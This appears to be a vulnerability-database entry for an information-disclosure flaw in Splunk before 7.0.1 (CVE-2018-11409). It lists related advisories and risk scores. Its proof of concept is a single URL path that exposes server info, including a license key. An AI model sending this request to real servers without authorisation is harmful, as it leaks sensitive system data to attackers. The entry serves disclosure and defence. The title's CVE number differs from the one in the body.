Splunk < 7.0.1 - Information Disclosure

🗓️ 08 Jun 2018 00:00:00Reported by KoF2002Type

Splunk < 7.0.1 Information Disclosure - CVE-2018-1140

Reporter	Title	Published	Views	Family All 16
0day.today	Splunk < 7.0.1 - Information Disclosure Vulnerability	9 Jun 201800:00	–	zdt
Circl	CVE-2018-11409	28 Dec 202316:51	–	circl
CNVD	Splunk Information Disclosure Vulnerability	11 Jun 201800:00	–	cnvd
CVE	CVE-2018-11409	8 Jun 201812:00	–	cve
Cvelist	CVE-2018-11409	8 Jun 201812:00	–	cvelist
exploitpack	Splunk 7.0.1 - Information Disclosure	8 Jun 201800:00	–	exploitpack
Hacker One	U.S. Dept Of Defense: Splunk Sensitive Information Disclosure @████████	3 Feb 202307:36	–	hackerone
Metasploit	Splunk __raw Server Info Disclosure	28 Dec 202319:50	–	metasploit
Nuclei	Splunk <=7.0.1 - Information Disclosure	4 Jun 202603:48	–	nuclei
NVD	CVE-2018-11409	8 Jun 201812:29	–	nvd

# Exploit Title: Splunk < 7.0.1 - Information Disclosure
# Date: 2018-05-23
# Exploit Author: KoF2002
# Vendor Homepage: https://www.splunk.com/
# Version: 6.2.3 - 7.01 MAYBE ALL VERSION AFFECTED
# Tested on: Linux OS
# CVE : CVE-2018-11409

# Splunk through 6.2.3 7.0.1 allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.

# PoC :

https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json

# Greats : Cold z3ro , ihab pal and all HTLovers "We Are Back"

08 Jun 2018 00:00Current

5.3Medium risk

Vulners AI Score5.3

CVSS 25

CVSS 35.3

EPSS0.92221

Splunk &lt; 7.0.1 - Information Disclosure

Splunk < 7.0.1 - Information Disclosure